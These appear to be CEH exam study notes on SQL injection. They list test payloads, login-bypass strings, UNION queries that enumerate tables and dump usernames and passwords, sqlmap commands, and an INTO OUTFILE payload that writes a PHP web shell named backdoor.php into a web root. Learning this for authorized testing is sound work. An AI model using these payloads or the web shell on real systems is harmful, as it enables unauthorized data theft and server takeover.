SQL Injection

Welcome to the SQL Injection module. This note will guide you thru all the methodologies that I used while preparing for the CEH (Practical) exam.

Introduction

SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data, user lists, or private customer details.

What is SQL?

SQL stands for Structured Query Language, which is a computer language for storing, manipulating, and retrieving data stored in a relational database. SQL is the standard language for Relational Database System. MS SQL Server uses T-SQL, Oracle uses PL/SQL, the MS Access version of SQL is called JET SQL (native format), etc.

Basics

• You can learn SQL Injection basics from the given link below.

SQL Injection

What is SQL Injection? Tutorial & Examples | Web Security AcademyWebSecAcademy

SQL Injection Cheat Sheet

SQL Injection Cheat Sheet

SQLMap

• sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.

• It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches, from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover toolGitHub

GitHub Repo of SQLMap

After gaining knowledge of SQLMap, you should need to know:

• Enumeration of databases

• Enumeration of Tables in a Database

• Dump the data from the database

• Spawning an OS Shell with SQLMap

Damn Small SQLi Scanner

Damn Small SQLi Scanner (DSSS) is a fully functional SQL injection vulnerability scanner (supporting GET and POST parameters) written in under 100 lines of code.

GitHub - stamparm/DSSS: Damn Small SQLi ScannerGitHub

Basic technique

Stick ' in a parameter and see if it throws a database error (and note what kind).

Another simple test:

' or '1'='1

Other tests:

-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

POST parameters

You can also attempt to inject parameters passed using POST requests, but you'll need Burp or Firefox tamper to view and edit them. For example, you can test a parameter by adding a ' at the end, like lang=en'.

Bypassing authentication

If you find a poorly-sanitized login page, you can attempt to log in without credentials by injecting the username parameter:

username' or 1=1;#
username'-

Database enumeration

The exact syntax for injection will vary by database type. In most lab scenarios, the database will be MySQL.

Get version:

http://[host]/inject.php?id=1 union all select 1,2,3,@@version,5

You can get the number of columns through trial and error using order by. For each query, increase the column number until the database throws an unknown column error:

http://[host]/inject.php?id=54 order by 1
http://[host]/inject.php?id=54 order by 2
http://[host]/inject.php?id=54 order by 3

Get the current user:

http://[host]/inject.php?id=1 union all select 1,2,3,user(),5

See all tables:

http://[host]/inject.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables

Get column names for a specified table:

http://[host]/inject.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns where table_name='users'

Get usernames and passwords (0x3a means :):

http://[host]/inject.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users

You might be able to write to system files depending on permission levels using MySQL's INTO OUTFILE function to create a php shell in the web root:

http://[host]/inject.php?id=54 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

I suspect you could inject a full reverse shell in there too...

SQLmap

Assuming you've tested a parameter with ' and it is injectable, run SQL map against the URL:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbms=mysql

It may not run unless you specify the database type.

Get the databases:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbs --dbms=mysql

Get the tables in a database:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --tables -D [database name]

Get the columns in a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --columns -D [database name] -T [table name]

Dump a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dump -D [database name] -T [table name]

Passing tokens

If the URL isn't accessible, you can pass cookie data or authentication credentials to SQLmap by pasting the post request in a file and using the -r option:

sqlmap -r request.txt

If you just need to pass a cookie:

sqlmap -u "http://[host]/inject.php" --cookie "PHPSESSID=foobar"

REST-style URLs

If your URLs have no parameters, you can still test them:

sqlmap -u "http://[host]/param1*/param2*"

Further reading

• Gaining a reverse shell from SQL injection
• SQL injection cheat sheet
• Dumping a complete database using SQL injection
• Hacking node.js and MongoDB
• SQLmap tutorial